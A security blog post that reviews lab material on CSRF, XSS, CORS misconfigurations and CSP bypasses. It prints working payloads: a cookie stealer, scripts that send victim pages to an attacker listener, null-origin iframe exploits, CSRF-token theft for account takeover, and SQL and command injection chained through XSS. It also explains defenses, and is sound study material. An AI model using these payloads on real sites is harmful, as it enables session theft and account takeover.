Skip to main content
  1. Posts/

More CSRF and XSS - Applied Review

·26 mins
cwee xss csrf csp sop cors
Table of Contents

Introduction
#

We have talked about CSRF and XSS before, but here we will focus on exploits in modern web applications that typically require the writing of custom payloads for accomplishing specific tasks. We also want to walk through the common security measures in web applications like Same-Origin Policy, Cross-Origin Resource Sharing, SameSite Cookies, and so on. The reason CSRF and XSS are often paired together in this context is because forging a request on another user’s behalf often involves multiple steps other than just clicking on a link, stored XSS (or in some cases reflected XSS) can be used to deliver a CSRF payload to a victim.

To actually exploit these we can often use the Fetch API or an XMLHttpRequest object:

var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://your-server.here/', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('param1=hello&param2=world');
const response = await fetch('http://your-server.here/', {
    method: "POST",
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'param1=hello&param2=world',
  });

For the lab environment in this case, we have an exploit server which can just be any website you can control where you store a payload. We also stand up an HTTPS server like this using python:

from http.server import HTTPServer, SimpleHTTPRequestHandler
import ssl

# Create HTTP server
httpd = HTTPServer(('0.0.0.0', 4443), SimpleHTTPRequestHandler)

# Create SSL context
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile='./server.pem')  # You can also pass keyfile=... if separate

# Wrap the server socket
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)

print("Serving on https://0.0.0.0:4443")
httpd.serve_forever()

XSS Example
#

There is a website that is vulnerable to stored XSS and I can infer that a victim user will view my payload. I can use the following payload to point them to my exploit server:

<script src="https://exploitserver.htb/exploit"></script>

Then, on my exploit server I can host the following JavaScript:

window.location = "https://MY-SERVER:4443/cookiestealer?c=" + document.cookie;

Then I launch my HTTPS server and see that the victim executed my payload in their browser, redirecting them to my site and causing the JS to run that ex-filtrated their cookie.

xss-1

CSRF Example
#

Here we see an example website with a ‘promote’ button that will increase the permissions of our user account. When we try to do it, we see that only administrators should be allowed to, but there are no CSRF protections in place so if we can get a victim to click on a link leading them to our site, we can get them to execute the following JavaScript:

<html>
  <body>
    <form action="https://csrf.labintro.htb/profile.php">
      <input type="hidden" name="promote" value="htb-stdnt" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

The thing we want to keep in mind for the future is that the XSS is likely the way we will be delivering the CSRF payload to the victim.

CSRF Exploitation
#

To summarize, CSRF (Cross-Site Request Forgery) is an attack where a vulnerable website allows users to perform some sensitive action (like leaving a comment or changing a password) without validating that the user making this request is doing so from that website. In a successful attack for example, I might take my request of changing my password to password1234 and then host a website where if a victim navigates to it while having a valid session on the vulnerable site, it will submit a request to the vulnerable site using their session cookies - now I can log in because their password has been changed to one that I know.

The defenses for this are as follows:

  • CSRF Tokens: These are unique random values that need to be included in requests going to the web application. This token needs to be unpredictable and the web application needs to validate the authenticity of the token before performing sensitive user actions.
  • HTTP Headers: A web application may check the Origin or Referer headers to validate the origin off a request, but alone these are not sufficient.
  • SameSite Cookies: These cookies can be set to indicate to the browser how to act under certain circumstances. The none directive applies no additional security measures, the lax setting will only send the cookie with some cross-origin requests (excluding those made with JavaScript), and strict which will not allow the browser to send the cookie with any cross-origin requests.

Most browsers today use lax by default, preventing many CSRF attacks by default, preventing POST-based CSRF attacks but not GET-based ones.

Same Origin Policy (SOP) & Cross-Origin Resource Sharing (CORS)
#

SOP
#

Same-Origin Policy is meant to prevent JavaScript code running on one origin from accessing content on a different origin. The origin is defined as the scheme, host, and port of the URL. So JavaScript running from http://yoursite.com would not be able to access content on https://yoursite.com (because the scheme, host, and ports aren’t the same). This makes sense for preventing CSRF, as the JavaScript would not be allowed to run from the attacker’s host while still fetching the information in the victim’s browser.

Let’s imagine a scenario where the SOP (Same Origin Policy) does not exist. Upon visiting https://evilserver.com, the following JS is executed:

<script>
    async function exfiltrate(url) {
        // get data
        const response = await fetch(url, {credentials: "include"});
        const data = await response.text();

        await fetch("https://evilserver.com/exfiltrate?c=" + btoa(data));
    }
    
    exfiltrate("https://weakbank.net/myaccount");
    exfiltrate("https://internal-network/");
    
</script>

We make two fetch requests to sites that we as the attacker know or assume to be vulnerable. The victim’s browser will potentially send the victim’s session cookies along with the requests depending on the site’s SameSite configuration. The result of these requests is sent to the attacker’s host.

This same kind of attack will not work if SOP is being used because the evilserver.com is different from these other hosts -> so the fetch requests will raise an error in the browser and be unable to exfiltrate the data. It is important to recognize though that this ONLY stops the evilserver.com from accessing the response and the request itself is still sent.

There are certain exceptions to SOP like img, video, and script tags. So even though an element may be loaded cross-origin, it can still be included on another website - think of YouTube video embeds for example.

CORS
#

Cross-Origin Resource Sharing (CORS) is meant to define exceptions for the SOP, letting the origin define a list of other trusted origins and request methods. So if you want to display some content on your website https://yoursite.com but that content is sourced from http://api.yoursite.com the default SOP will block this because of the origin mismatch. The CORS-related exceptions can be applied by issuing the following headers in an HTTP response:

  • Access-Control-Allow-Origin: defines SOP exceptions for a specific origin
  • Access-Control-Expose-Headers: defines SOP exceptions for specific HTTP headers
  • Access-Control-Allow-Methods: defines SOP exceptions for allowed HTTP methods in response to a preflight request
  • Access-Control-Allow-Headers: defines SOP exceptions for allowed HTTP headers in response to a preflight request
  • Access-Control-Allow-Credentials: if set to true, defines SOP exceptions even if the cross-origin request contains credentials, i.e., cookies or an Authorization header
  • Access-Control-Max-Age: defines for how long the information in the other CORS-headers can be cached without issuing a new preflight request

In our example, we might send a GET request to http://api.yoursite.com/data and the response can clarify using the Access-Control-Allow-Origin header that https://yoursite.com is an allowed origin and is exempt from following SOP.

Simple and Preflight Requests.
#

Our previous example implied the use of a simple request - these are typically GET requests without any custom HTTP headers OR POST requests with no custom headers and using the x-www-form-urlencoded, form-data, or text/plain content type header.

A preflight request is sent by the browser before sending the actual cross-origin request, this preflight request contains all the parameters of the incoming cross-origin request - allowing the web server to choose whether or not to allow the cross-origin request. The browser waits for the response to the preflight request and only continues to send the actual cross-origin request if the web server allows it by setting the corresponding CORS headers in response to the preflight request.

Because the browser is waiting for permission from the web server to actually send the cross-origin request, an attempt to exploit CSRF with a preflighted request is futile.

A preflight request typically looks like this:

OPTIONS
Host: api.yoursite.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: https://yoursite.com

The response will then indicate whether or not it was accepted:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://yoursite.com
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Content-Type

Now, because this response contains the correct CORS headers, the browser now knows to send the actual cross-origin request. If the response to the actual cross-origin request contains a CORS header with the requesting origin, the browser typically adds an exception to the SOP so the web application can see the response and check the result.

CORS Misconfigurations
#

To quickly recap SOP and CORS:

  • SOP prevents non-origin sites from loading or executing JavaScript.
  • CORS allows you to configure exceptions with SOP, like allowing specific other origins.

Most attacks that we will see require the Access-Control-Allow-Credentials header to be set to true, because that will result in those requests being authenticated within the victim’s context. It should also be kept in mind that some CORS misconfigurations will require the SameSite=None cookie to be set, as the SameSite cookie can prevent cookies from being sent along with cross-site requests.

Arbitrary Origin Reflection
#

We use the Access-Control-Allow-Origin header to tell the browser that a specific origin should be allowed to access the response. This header can be set using a wildcard (*) to grant all origins the ability to see the response. This header can’t be combined with Access-Control-Allow-Credentials: true because the wildcard can only be used without credentials.

So how can I get my web application to send credentials from more than one origin?

Well, some sites can use the incoming request’s Origin header and reflect it in the Access-Control-Allow-Origin header - which will functionally act the same as if it were set to a wildcard, but also allow us to set Access-Control-Allow-Credentials to true while still falling inside the CORS standard.

Why is reflecting an arbitrary origin a bad thing?

We can walk through an attack to get familiar. When you navigate to an attacker’s website hosting JS to kick off a cross-site request, that request that is being sent will have the Origin and Referer header to match that attacker’s origin (evil.com). If the vulnerable site is reflecting your malicious origin in the Access-Control-Allow-Origin and the Access-Control-Allow-Credentials: true header is set in the response, this means that your attacker-controlled domain can perform cross-site requests to the vulnerable site and see the response even when there are credentials used in that request.

As an attacker: the moment you see those two things together you should be looking for some sensitive action that the user can perform and construct a CSRF payload for a victim to navigate to.

Again, first we see that these headers are in the response:

xss-2

Then we modify it and see what happens:

xss-3

Seeing that a site we control is reflected in the Access-Control-Allow-Origin header and credentialed requests are allowed, we can now move on to hosting our exploit and delivering it to a victim.

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://cors-misconfigs.htb/profile.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
      location = 'https://10.10.15.254:4443/log?data=' + btoa(xhr.response);
    };
    xhr.send();
</script>

When a victim visits our site while they still have a valid session on cors-misconfigs.htb, it will cause the JS to be executed. Because the victim’s session is active and we have xhr.withCredentials set to true, the subsequent request to the vulnerable site will contain the victim’s credentials. This request is still coming from evil.com or wherever the exploit is being hosted, so the Origin and/or Referer headers will be populated with evil.com. The vulnerable site reflects this origin in the Access-Control-Allow-Origin header and allows credentialed requests, so it allows that origin to view the response. Finally, the JS base64-encodes that response and sends it to our HTTPS server listening for it.

Improper Origin Whitelisting
#

It makes more sense to use a list of trusted origins instead of reflecting arbitrary origins. If this is not done properly, we might be able to take advantage of it. Lots of web applications trust all subdomains of a particular origin, assume some API at https://vulnerable.com checks whether the incoming Origin headers end with vulnerable.com in order to try and make sure that only subdomains have the SOP exception. If this check is improperly implemented, we can likely get our own malicious site to be interpreted as if it is included in the whitelist. (For example, using an Origin header like evilvulnerable.com would bypass the whitelist check that is only looking for the end of the header.)

Trusting Null
#

In a similar way to how the Access-Control-Allow-Origin header supports wildcards, it also supports the use of null to indicate a null origin. This really shouldn’t be used, but developers might add it as a placeholder and forget about it, or misunderstand the purpose of the null origin.

How can I attack from a null origin?

You would want the request to originate from a sand-boxed iframe like this:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://cors-misconfigs.htb/profile.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
      location = 'https://10.10.15.254:4443/log?data=' + btoa(xhr.response);
    };
    xhr.send();
</script>"></iframe>

This way, the request being sent from the iframe has an origin of null, which will allow the request to be sent with credentials and allow the response to be exfiltrated.

Targeting Local Applications
#

If CORS is configured to not allow credentials, we might be able to target other web applications running on the local network of the victim that are not publicly-accessible which may not require authentication. Imagine the victim is within their home network and has some server you want access to, but that server is only accessible from the local network.

If an arbitrary origin is being trusted, you can exfiltrate the response of a request made to some service running on the internal network so long as the victim within that network executes your CSRF payload in their browser. This would of course require you to first determine the internal IP address you would want to target, then you would want to configure some more custom JS in your payload to exfiltrate information form that specific web application.

Bypassing CSRF Tokens via CORS Misconfigurations
#

CSRF tokens are meant to be used to make sure that the user initiated the action being taken. This way if we get a victim to click on our link and execute some JS to perform an action on their behalf, if we don’t have that victim’s CSRF token we don’t be able to perform that action. The issues related to CSRF tokens and their implementation has already been covered before in a previous blog post.

Even if the token is implemented correctly though, if CORS is misconfigured an attack can still occur. After all, if my malicious origin is allowed to execute JS and access the response of a vulnerable site, we should be able to get a hold of the victim’s CSRF token regardless. (It should be noted that this assumes that the Secure and SameSite cookie attributes are disabled.)

We can walk through another exercise - first we see our session cookie being assigned:

xss-4

After authenticating, we see that there is some functionality to promote our user, which uses a CSRF token:

xss-5

We also observe that the site appears to trust null origins and credentialed requests are permitted. So we just need to create an exploit that fetches the csrf_token from the page source, constructs the promotion request, and sends it from an iframe in order to make sure it comes from a null origin.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
	// GET CSRF token
	var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
    xhr.withCredentials = true;
    xhr.send();
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
	var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

	// CSRF
    var csrf_req = new XMLHttpRequest();
    var params = `promote=htb-stdnt&csrf_token=${csrftoken}`;
    csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
	csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    csrf_req.withCredentials = true;
    csrf_req.send(params);
</script>"</iframe>

Pretty much just building on what we already know, but still a useful exercise.

Misc CSRF Exploitation
#

One trick discussed during this section is that when SameSite is set to Strict - you can sometimes use a client-side redirect to end up getting a victim user to perform some action so long as it is within a GET parameter:

<script>
document.location = "https://vulnerablesite.htb/admin.php?user=htb-stdnt%26promote=htb-stdnt";
</script>

And because subdomains are considered SameSite, if you find a subdomain with a similar issue you can use that as well.

XSS Exploitation
#

Introduction
#

We have used XSS to make requests and retrieve their responses, as well as exfiltrate data before. A lot more real-world impact can be found by combining some XSS with CSRF. This is also almost required today because browsers by default usually enforce SameSite to Lax, making it more difficult to exploit CSRF in isolation.

HTTPOnly
#

Usually we want to steal a victim user’s cookies and log in using their active session, but if the HTTPOnly attribute is set on a cookie, that means that the JS we use within our XSS payloads cannot access it. This does not mean that we can’t utilize the JS execution in the context of the victim though - instead of logging in as them and performing some action with the stolen cookie, we instead need to write an XSS payload to perform those sensitive actions for us.

Exfiltrating Data
#

To exfiltrate data using XSS, we will most often use the XMLHttpRequest object, which will let us send requests and interact with the responses. For example, imagine we found some stored XSS on a website so we will use it to load JS from our malicious site.

var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://your-listener:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

The logic here just encodes the page content and sends it in a GET parameter to our listener, in real-world application it is wiser to use a POST request because the URL length in a GET request is limited.

Attacking From the Victim Session
#

Once you know that you can deliver an XSS payload to a victim through stored payloads or reflected payloads, you’ll want to begin looking for some sensitive action to perform in the victim’s context. This could be something like changing a password, changing a username, or deleting some account information.

In order for this to work, you want to make sure that the sensitive actions you want to automate can be performed just through the execution of JS in the browser. So if there is some more complicated matrix of cookies and tokens being used to authorize a request and those cookies are using HTTPOnly when they are set, you will likely need to try and navigate around it.

Account Takeover Example
#

Let’s say that we find some stored XSS which allows us to deliver an exploit to a victim in a reliable way:

xss-6

We then want to look for some more sensitive site functionality and asses it to see if we could use our stored XSS vulnerability to perform that action. In this case we see that there is a way for users to change their username, password, and email address:

xss-7

If we want to change the victim’s password, we just need to construct some JS that will fetch the CSRF token from the page source where it is stored and fill in the appropriate fields for that POST request.

// Get the CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

// Chenge the victim's password
var csrf_req = new XMLHttpRequest();
var params = `username=admin&email=admin@vulnerablesite.htb&password=gabe123&csrf_token=${csrftoken}`;
csrf_req.open('POST', '/home.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);

You can host this payload on your own HTTP server and serve it to a victim using the stored XSS we found:

<script src="https:///10.10.15.254:4443/exploit"></script>

Once the victim user executes the XSS payload in their browser, the subsequent JS from our web server is executed within the victim’s context, changing their password. We can see the first part of this interaction in the output of our web server, but we will have to try and log in with the new credentials to verify the change.

xss-8

Wait, how can the XSS payload perform this action if that PHPSESSID cookie has the HTTPOnly flag set? Shouldn’t the JS being executed from the /exploit endpoint fail to execute in the user’s context because of the SOP we just discussed or some other protection?

We only need to get the csrf_token and not the PHPSESSID because the browser will automatically attach those headers because they are a part of the victim session. The browser behaves this way because the XHR request is being from JS that is executed in the context of the vulnerable site - or to describe it differently: the browser interprets this as the vulnerable site making a same-site request, so it attaches the same cookies and other necessary headers.

The injected script executes within the origin of the page it is included on, not the origin of the script file itself - so even though it is fetched from some attacker’s IP address, the browser will treat it as custom code belonging to the site. The SOP wouldn’t mitigate this because the JS payload is only making requests to the same origin (victim-session.htb). Something that would mitigate this would be a CSP (Content Security Policy), which we will talk about later on but it prevents JS from being loaded from certain origins.

Chaining Vulnerabilities
#

Let’s say that you found some XSS and victims are clicking on it but there isn’t really any sensitive functionality that you know you can take advantage of. We can try to gather more information from the perspective of a victim user who may have more privileges that we do. Imagine that the victim user is an administrator and thus has access to some /admin page which can be navigated to from the /home page. We can try to rinse and repeat exfiltration from previous steps, only this time the XSS payload is what triggers the JS to execute instead of a victim navigating to our site:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/home', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.15.254:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

If we decode the subsequent request made to our HTTP server, we should be able to see if this admin user has access to any more pages, and we could then swap out /home in our payload for /admin or some other page. You can then dig even deeper and see if there are other vulnerabilities on that site which only the admin has access and continue developing the JS to exploit it.

Enumerating Internal APIs
#

Building on the last segment of chaining vulnerabilities together, what if there is some internal API that is only accessible from a victim user’s perspective? For example if you perform the chaining example from earlier and see some reference to api.internal-apis.htb and you can’t access it, we can first try to enumerate it like so:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.internal-apis.htb/v1/sessions', false);
xhr.withCredentials = true;
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.15.254:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This doesn’t work because the origin of the site where the XSS payload is executed and the origin of the internal API are different, so the SOP stops us from accessing the response.

There must be some CORS exception in place so that the admins using that page can access that internal API responses though, right?

Yeah, so there should be some way for us to access the response, and from looking at the source of the page that we dumped earlier we can see that fetch() is called but it doesn’t have credentials set to be included. We can try to call this on our own like we did above by setting withCredentials to true - but if the internal API doesn’t set the Access-Control-Allow-Credentials header we still can’t see the response.

We can see that matching exactly will work when we don’t ask for credentials:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.internal-apis.htb/v1/sessions', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.15.254:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

You should be able to at the very least get an error message back by putting the request within a try-catch block:

try {
	var xhr = new XMLHttpRequest();
	xhr.open('GET', 'https://api.internal-apis.htb/v1/sessions', false);
	xhr.withCredentials = true;
	xhr.send();
	var msg = xhr.responseText;
} catch (error) {
	var msg = error;
}

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.15.254:4443/exfil?r=" + btoa(msg), false);
exfil.send();

The response after this tells us that the send() function failed to execute because the internal API couldn’t be loaded. If the internal API requires some additional authentication, it might be worth trying to get the victim user’s credentials from localStorage, then setting that within an Authorization header.

If these things don’t work and you can’t just access the internal API, try enumerating other endpoints in addition to the /sessions one we already know about:

var endpoints = ['access-token','account','paste-more-here','work','yahoo'];

for (i in endpoints){
	try {
		var xhr = new XMLHttpRequest();
		xhr.open('GET', `https://api.internal-apis.htb/v1/${endpoints[i]}`, false);
		xhr.send();
		
		if (xhr.status != 404){
			var exfil = new XMLHttpRequest();
			exfil.open("GET", "https://10.10.15.254:4443/exfil?r=" + btoa(endpoints[i]), false);
			exfil.send();
		}
	} catch {
		// do nothing
	}
}

You can use the responses that make it to your listener to determine which endpoints exist and explore from there.

Exploiting Internal Web Applications
#

Depending on the context of what kinds of vulnerabilities you are able to find in the internal web applications after exploiting XSS, you can modify your exploit to perform more complex attack chains. These ultimately come down to what is present on the application you are looking at and your ability to exploit them will come down to your familiarity with the vulnerability in the internal application and not really XSS itself.

To avoid shifting this post’s focus to identifying SQLi and Command Injections, I’ll include some example payloads that demonstrate what some attacks might look like once you have found an exploit path.

var xhr = new XMLHttpRequest();
var params = `uname=${encodeURIComponent("' UNION SELECT id,data,NULL,NULL FROM secretdata-- -")}&pass=x`;
xhr.open('POST', 'https://internal.internal-webapps-1.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.15.254:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This above payload is used to perform an SQL injection to read data from a secretdata table. In order to get to this point you would want to first find the SQLi in that POST request, determine the database version and type, get the schema of the database and table names, determine the number of columns needed to perform a query, then finally get the results sent back to your listener.

var xhr = new XMLHttpRequest();
var params = `webapp_selector=${encodeURIComponent("| id")}`;
xhr.open('POST', 'https://internal.internal-webapps-2.htb/check', false);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(params);

var exfil = new XMLHttpRequest();
exfil.open("GET", "https://10.10.15.254:4443/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

This payload is a bit simpler and it is just OS command injection in a POST request parameter. The response will be the page source but because the command injection is observable there you won’t need to use out-of-band techniques to validate that it was working.

Content-Security Policy (CSP)
#

A content security policy is a defense-in-depth security feature used to lower the severity of XSS vulnerabilities by limiting the context in which JS is allowed to be executed. A CSP consists of multiple directives, each one allowing some value where the browser enforces the restrictions in place.

Content-Security-Policy: script-src 'self' https://benignsite.htb

For example, you send a request to some web application and the response header contains this CSP header. The directive script-src defines where JS can be loaded and executed from. The above example specifically tells the browser that only JS from the page itself and the included benignsite.htb are allowed.

This mitigates the attacks we had been using because we were loading the JS from a host that we control:

<script src="https://exploitserver.com/evil.js"></script>

While also still allowing the scripts hosted at beningsite.htb to be loaded and executed. In addition to the script-src directive, there are way more directives to be used so I won’t go over them all in detail. It would likely be easier to evaluate the CSP as you identify it, the Google CSP Evaluator also helps you know what to look out for.

Secure CSPs
#

As a developer, you want to make your CSP as strict as you possibly can without sacrificing the functionality of the site itself. It is common to start from a baseline like this one and remove restrictions until the application works completely:

Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; frame-ancestors 'self'; form-action 'self';

This only allows loading of scripts, images, and stylesheets from the same origin, only lets the same origin put the site in an iframe, only allows HTTP requests from JS and form submissions from the same origin, and prevents other sources from loading. As a developer, you would also want to move your inline JS to a file that can be loaded from the same origin to better fall in line with these restrictions.

Bypassing a Weak CSP
#

Similar to a CORS configuration, a CSP can be implemented in a way that doesn’t offer much protection. Let’s look at an example:

Content-Security-policy: default-src 'none'; img-src 'self'; style-src *; font-src *; script-src 'self' https://*.google.com;

This allows images and scripts to be loaded from the origin itself, styles and fonts from anywhere, and scripts from subdomains of google.com - Other resources can’t be loaded because of the default-src 'none' directive.

If we use some generic <script>alert(1)</script payload, we will get an error message in the browser’s JS console - clarifying that this violates the CSP. This can be bypassed though by using JSON Padding - which is normally used to retrieve data from different origins without interfering with the SOP.

To describe how JSONP works, imagine a web application https://vulnerablesite.com wants to get data from some endpoint https://someapi.com/statistics which returns some arbitrary JSON data. If the API doesn’t have CORS configured, the web application can’t access the response because of the SOP - but because script tags are excluded from the SOP, the web application can load the data by using these HTML tags:

<script src ="https://someapi.com/stats"></script>

To be more realistic though, it is likely that the web application will have some function for processing the returned JSON object. If the API supports JSONP, it will read a GET parameter on the endpoint sending the data and adjust the response accordingly. So the web application using a script tag like this:

<script src="https://someapi.com/stats?callback=processData"></script>

Would result in the processData function belonging to the web application being fetched cross-origin from the API without technically violating the SOP or the need for CORS. JSONP endpoints allow the caller to specify the function that is being called. So we can use one of the JSONP endpoints from the JSONBee git repository to bypass the CSP we have been confronted with. The CSP we saw will allow any google subdomain to function correctly, so the following payload would work:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>

This is just one technique of many that can be used depending on the context, I found a few more online listed here but keep your ear to the ground and research as you go to try and ensure you are covering all the bases.

XSS Filter Bypasses
#

First let’s talk about how we can execute our JS - there are three options. The script tags, alternative protocols, and event handlers. We’ve already been using the script tags this whole time so I don’t really see the need to cover it in more detail.

You can use alternative protocols like as javascript or data in certain HTML attributes that indicate where data is loaded from to get JS executed. For example, we can set the target of an a tag to the javascript protocol and the corresponding JS code is executed when the link is clicked:

<a href="javascript:alert(1)">click</a>

You would use an event handler like onload or onerror to specify JS code to be executed when that handler is triggered.

<svg onload=alert(1)>

More examples of event handler configurations can be found on PortSwigger’s XSS Cheat Sheet.

Bypassing Blacklists and Advanced Bypasses
#

HTB Academy labels this as it’s own distinct section but really in my opinion it comes down to some sense of throw everything under the kitchen sink at the input field assuming that you have time to. In my experience the following resources have been pretty helpful:

Related

Injection Attacks - Applied Review
·22 mins
cwee xpath ldap-injection pdf-injection
I am again making an applied review blog post series (and maybe video series) for the modules used to prepare for the CWEE exam.
eMAPT Exam Review
·5 mins
mobile android
Mobile Hacking Exams in 2025 # First, let&rsquo;s go over some public information about the exam (and others like it) and why you might want to take it.
Android - WebViews & CustomTabs
·16 mins
mobile android
What is a WebView? # We know that android applications can interact with websites by using an intent with ACTION.